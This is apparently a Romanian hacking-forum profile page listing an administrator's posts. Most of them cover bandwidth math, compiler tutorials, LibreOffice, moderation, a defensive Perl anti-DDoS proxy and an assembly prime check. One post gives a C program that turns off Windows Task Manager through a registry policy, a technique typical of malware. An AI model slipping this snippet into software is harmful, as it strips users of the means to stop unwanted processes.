Jump to content

Nytro

Administrators
  • Posts

    18713
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Nytro

    Salut!

    Edit: Nu am fost atent
  2. De ce /9? 700 Mbps = 700 Mega BITI pe secunda x MBps = x Mega BYTES pe secunda 1 BYTE = 8 BITI Deci, impartirea se face la 13, nu?
  3. Let's Build a Compiler Author: Jack Crenshaw This fifteen-part series, written from 1988 to 1995, is a non-technical introduction to compiler construction. * Part 1: INTRODUCTION * Part 2: EXPRESSION PARSING * Part 3: MORE EXPRESSIONS * Part 4 INTERPRETERS * Part 5: CONTROL CONSTRUCTS * Part 6: BOOLEAN EXPRESSIONS * Part 7: LEXICAL SCANNING * Part 8: A LITTLE PHILOSOPHY * Part 9: A TOP VIEW * Part 10: INTRODUCING "TINY" * Part 11: LEXICAL SCAN REVISITED * Part 12: MISCELLANY * Part 13: PROCEDURES * Part 14: TYPES * Part 15: BACK TO THE FUTURE * Part 16: UNIT CONSTRUCTION Download the tutorial It's available in two formats, plain text, and with printer control characters so it will print reasonably on an Epson printer. * ZIP file of plain text files (212K) * ZIP file of DOS text files (214K) * ZIP file of plain formatted files (193K) * PDF of plain formatted files (581K) Download PDF: http://compilers.iecc.com/crenshaw/tutorfinal.pdf
  4. Compiler Construction Author: Niklaus Wirth Download: http://www-old.oberon.ethz.ch/WirthPubl/CBEAll.pdf
  5. [Perl] DDOS Accept ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop #!/usr/bin/perl # # ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop # # Usage: ddos_accept.pl [-vd] [-t timeout] [-q queuelen] hostname port [proxy] # # Will listen on hostname's port and proxy connections to proxy's port (default localhost); # designed to ignore idiots who connect and immediately disconnect, since that is # the nature of the ddos. # # Even with -d (daemonize) set and -v (verbose) unset, this script will spew occasional # warnings to stderr. Be sure to close stderr on the command line if you are absolutely # uninterested in any loggable output. # use strict; use warnings; no warnings 'uninitialized'; use IO::Socket::INET; use IO::Select; use Errno ":POSIX"; use POSIX "setsid"; use Getopt::Std; my $USAGE = "Usage: ddos_accept.pl [-vd] [-t timeout] [-q queuelen] hostname port [proxy]\n"; getopts "vdt:q:" => \ my %opts or die $USAGE; @ARGV >= 2 or die $USAGE; my $VERBOSE = $opts{v}; my $QUEUE = $opts{q} || 512; my $TIMEOUT = $opts{t} || 60; my $HOST = shift; my $PORT = shift; my $PROXY = shift || "localhost"; my $listener = IO::Socket::INET->new( Listen => $QUEUE, LocalAddr => $HOST, LocalPort => $PORT, Proto => "tcp", ReuseAddr => 1, Blocking => 0, ) or die "Can't create listener on $HOST\:$PORT\: $!"; my $readers = IO::Select->new; my $listeners = IO::Select->new; $readers->add($listener); $listeners->add($listener); my $writers = IO::Select->new; if ($opts{d}) { # daemonize open STDIN, "</dev/null" or die "can't read /dev/null: $!"; open STDOUT, ">/dev/null" or die "can't write /dev/null: $!"; defined (my $pid = fork) or die "can't fork: $!"; exit if $pid; setsid or die "can't create new session: $!"; } my (%client, %proxy, %client_read_buffer, %client_spoke, %proxy_read_buffer, %client_read_closed, %proxy_read_closed); # The %client and %proxy hashes are named to describe their keys, not their values. # The values of those hashes are exactly the opposite of their names. # The %client_read_buffer and the %proxy_read_buffer hashes describe the internal memory locations # of where the recv() results are stored and are appropriately named. # The %client_read_closed and %proxy_read_closed hashes are flags which indicate whether # the read-side of the socket has shut down. # The %client_spoke hash tags the last time the client socket was active. $SIG{PIPE} = sub { warn "SIG$_[0] detected" }; my $last_garbage_collection = time; MAIN_LOOP: while (1) { warn "READ = ", $readers->count, "\tWRITE = ", $writers->count, "\tCLIENT = " . keys %client, "\tPROXY = " . keys %proxy, "\n" if $VERBOSE; READER: for my $r ($readers->can_read(0.25)) { if ($r == $listener) { my $i = 0; do { my $c = $listener->accept or (warn("accept failed: $!"), last); $c->blocking(0); $readers->add($c); $writers->add($c); $client{$c} = undef; $client_spoke{$c} = [time, $c]; warn("listen backlog full"), last if ++$i == $QUEUE; } while ($listeners->can_read(0)); } elsif (exists $client{$r}) { # this handle is a readable client-side socket $client_spoke{$r}->[0] = time; unless (defined $client{$r}) { # this client-side socket has no existing associated proxy connection recv $r, $client_read_buffer{$r}, 8192, 0; my $bytes_read = length $client_read_buffer{$r}; warn "recv 8192 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; warn "closing ddos connection: " . $r->peerhost; $readers->remove($r); $writers->remove($r); delete $client{$r}; delete $client_read_buffer{$r}; delete $client_spoke{$r}; close $r; } else { my $proxy = IO::Socket::INET->new( PeerAddr => $PROXY, PeerPort => $PORT, Proto => "tcp", Blocking => 0, ); if ($proxy) { warn "proxy for " . $r->peerhost . " created" if $VERBOSE; $client{$r} = $proxy; $proxy{$proxy} = $r; $proxy_read_buffer{$proxy} = ""; $readers->add($proxy); $writers->add($proxy); goto READ_CLIENT; } else { warn "couldn't create proxy socket: $!"; $readers->remove($r); $writers->remove($r); delete $client_read_buffer{$r}; delete $client{$r}; delete $client_spoke{$r}; close $r; } } } else { # this is a client-side readable socket with an existing proxy connection READ_CLIENT: while (1) { recv $r, my $buf, 8192, 0; my $bytes_read = length $buf; warn "recv 8192 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; $readers->remove($r); $client_read_closed{$r} = 1; last; } else { $client_read_buffer{$r} .= $buf; } last if length $client_read_buffer{$r} > 65536; } } } elsif (exists $proxy{$r}) { # this handle is a proxy-side readable socket with an existing client connection (obviously) READ_PROXY: while (1) { recv $r, my $buf, 65536, 0; my $bytes_read = length $buf; warn "recv 65536 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; $readers->remove($r); $proxy_read_closed{$r} = 1; last; } else { $proxy_read_buffer{$r} .= $buf; } last if length $proxy_read_buffer{$r} > 65536; } } } WRITER: for my $w ($writers->can_write(0)) { if (defined $client{$w} and (length $proxy_read_buffer{$client{$w}} or $proxy_read_closed{$client{$w}})) { # this handle is a client-side writable socket with pending proxy data my $bytes_written = send($w, $proxy_read_buffer{$client{$w}}, MSG_NOSIGNAL) || 0; warn "send " . length($proxy_read_buffer{$client{$w}}) . " ($bytes_written)" if $VERBOSE; next WRITER if $bytes_written == 0 and $! == EAGAIN; substr $proxy_read_buffer{$client{$w}}, 0, $bytes_written, ""; $client_spoke{$w}->[0] = time; if (!$bytes_written or length($proxy_read_buffer{$client{$w}}) == 0 and $proxy_read_closed{$client{$w}}) { # all done: time to clean up warn "done with " . $w->peerhost if $VERBOSE; my $proxy = $client{$w}; $readers->remove($w, $proxy); $writers->remove($w, $proxy); delete $client{$w}; delete $client_read_buffer{$w}; delete $client_read_closed{$w}; delete $client_spoke{$w}; delete $proxy{$proxy}; delete $proxy_read_buffer{$proxy}; delete $proxy_read_closed{$proxy}; close $w; close $proxy; } } elsif (defined $proxy{$w} and (length $client_read_buffer{$proxy{$w}} or $client_read_closed{$proxy{$w}})) { # this handle is a proxy-side writable socket with pending client data my $bytes_written = send($w, $client_read_buffer{$proxy{$w}}, MSG_NOSIGNAL) || 0; warn "send " . length($client_read_buffer{$proxy{$w}}) . " ($bytes_written)" if $VERBOSE; next WRITER if $bytes_written == 0 and $! == EAGAIN; substr $client_read_buffer{$proxy{$w}}, 0, $bytes_written, ""; if (!$bytes_written or length($client_read_buffer{$proxy{$w}}) == 0 and $client_read_closed{$proxy{$w}}) { shutdown $w, 1; $writers->remove($w); } } } GARBAGE: my $now = time; next MAIN_LOOP if $now == $last_garbage_collection; $last_garbage_collection = $now; for my $c (map $client_spoke{$_}->[1], grep $now - $client_spoke{$_}->[0] > $TIMEOUT, keys %client_spoke) { # client connections idle for more than $TIMEOUT seconds are terminated warn "timed out " . $c->peerhost if $VERBOSE; if (my $proxy = $client{$c}) { $readers->remove($proxy); $writers->remove($proxy); delete $proxy{$proxy}; delete $proxy_read_buffer{$proxy}; delete $proxy_read_closed{$proxy}; close $proxy; } $readers->remove($c); $writers->remove($c); delete $client{$c}; delete $client_read_buffer{$c}; delete $client_read_closed{$c}; delete $client_spoke{$c}; close $c; } } =head1 COPYRIGHT Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Sursa: ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop - r00tsecurity
  6. [C++] Optimized prime number method #include <cmath> bool prime(unsigned n) { switch (n) { case 0: case 1: return false; case 2: case 3: return true; default: break; } double dSq = sqrt((double)n); unsigned sqrt = (int)dSq; unsigned prime; // check 2 to sqrt for divisibility __asm { mov esi, n mov edi, sqrt mov ebx, 1 mov ecx, 1 _loop: inc ecx cmp ecx, edi ja _end mov eax, esi xor edx, edx div ecx cmp edx, 0 jne _loop mov ebx, 0 _end: mov prime, ebx } return (prime == 1); } Sursa: Optimized prime num method - r00tsecurity
  7. [C] Disable Task Manager #include <windows.h> int main() { DWORD dwVal = 1; HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD)); RegCloseKey(hKey); return 0; } Sursa: Disable Task Manager - r00tsecurity
  8. 700 Mbps = 700 / 8 MBps = 87.5 MBps. Insa nu cred ca se pot atinge asemenea viteze de pe un calculator simplu. Poate cu cine stie ce procesor, iar datele de se trimit sa nu fie citite de pe hard-disk. In RAM, in C, viteza de scriere (memset) era de de aproximativ 15 MBps, si 50 MPps la citire, desigur, asta tine de procesor. Deci sunt multe limitari, nu numai mediul de transmisie e important. Asta daca nu va referiti strict la transfer, asa da, cred ca se poate fara prea mari probleme, fibra optica rullz. Ca viteza, stiu ca facusera niste teste cu un satelit Alcatel si ajunsesera la 5 GBps, dar nu ai cum sa scrii atatea date intr-o secunda pe un hard-disk de exemplu. Dar da, se pot atinge 2000 GBps daca faceti suma la date trimise de la mai multe calculatoare... Oricum nu mi se pare prea amuzant, din moment ce am vazut sute de cazuri mai "naspa" decat acesta.
  9. LibreOffice, alternativa gratis pentru Microsoft Office Cum s-a format LibreOffice: La data de 28 septembrie 2010, unii membri al proiectului OpenOffice.org au format un nou grup numit The Document Foundation, ?i au pus la dispozi?ie o noua versiune de OpenOffice.org, care s-a bazat pe versiunea OpenOffice.org 3.3 beta. Acest grup s-a format dupa ce compania Oracle a cumparat Sun Microsystems (fostul sponsor si fondator al OpenOffice.org), acestia urmând sa nu mai distribuie in format OpenSource, suita de aplicatii OpenOffice. The Document Foundation le-a propus celor de la Oracle sa doneze proiectul OpenOffice.org. Dupa ce acestia au refuzat sa doneze proiectul, la sfarsitul lui Octombrie 2010, 33 dintre developerii suitei OpenOffice s-au la The Document Foundation, pentru a sprijini LibreOffice. Ce este LibreOffice: LibreOffice este o suita de applicatii office, care este compatibila cu alte suite majore de birou (Microsoft Office), ?i disponibile pe o varietate de platforme. Scopul este de a produce un set de de aplicatii de birou compatibil cu cel distribuit de cei de la Microsoft, cu sprijinul ODF disponibile pentru toata lumea gratis. Ca software liber, utilizatorii sunt liber sa descarce, modifice, utiliza ?i distribui LibreOffice. Bla bla... Continuarea si sursa: http://www.rogeek.net/2011/01/libreoffice-alternativa-gratis-pentru.html Link oficial: http://www.libreoffice.org/
  10. Nytro

    Salut

    Cat de rau si de violent este acest baiat. Ar trebui sa aveti grija. Poate vine cu tasu sa va bata.
  11. Nytro

    Salut

    Ar trebui sa se simta cineva jignit? Nu esti primul fan, nici ultimul. Esti doar un alt "nimeni"
  12. Eu as fi de acord cu pagina de Facebook pentru postarea noutatilor, lucruri legate de RST. Nu sa transformam Facebook in chat.
  13. nightkhaos, te rog, abtine-te de la aberatii si ia o foaie si un pix si fa cateva calcule matematice.
  14. E foarte important sa ai o functie pe RST. Nici nu stii cat de bine merge: "Ce faci papuso? Aici Nytro, administrator RST!" E asul meu din maneca. Pica direct in genunchi in fata mea cand aud asta. :->
  15. Am intrat prea tarziu, dar pot da un ban.
  16. RST e iadul, locul unde toti devin mai rai. Dar nu e nimic rau in asta.
  17. Interesant. Ban.
  18. Da, interesant: "Cum sa folosesti un exploit". Intrebarea mea e simpla: Ce fac daca un site nu are DNN? Sau, de ce m-ar interesa sa "sparg" un site, doar pentru ca are DNN?
  19. Posturile astea sunt salvate in aer, nu intr-un calculator care are desigur unul sau mai multe IP-uri. Voi aveti acces la Internet cu ajutorul lui Dumnezeu, nu datorita faptului ca PC-ul vostru e conectat la Internet printr-un IP (extern) unic. Etc. Ontopic: Sunt sigur ca nu se va intampla acest lucru. Cel putin nu in 10 zile. Probabil pe la mijlocul anului sau chiar mai tarziu va interveni aceasta criza.
  20. Parerea mea temporara, dintre: virusz, Fitty, Flubber, ZeroCold si Synthesis.
  21. Nu conteaza numarul de posturi ci calitatea acestora. Conteaza de asemenea si numarul de avertismente primite.
  22. Nu se gaseste. Il are doar The Jester, cel care l-a creat. Si sper sa nu fie facut public niciodata. Daca va fi facut, va fi functional doar cateva zile probabil.
  23. Foarte tare. Ban.
  24. Da, urat. Trebuie sa va faceti cont. Si e si mai urat pentru ca e in italiana.
  25. Posturile astea inutile le incadrez la Offtopic sau diverse alte abateri de la regulamet si pentru astfel de posturi se primesc avertismente. Si la 3 avertismente apare banul. Cred ca e mult mai bine asa.
×
×
  • Create New...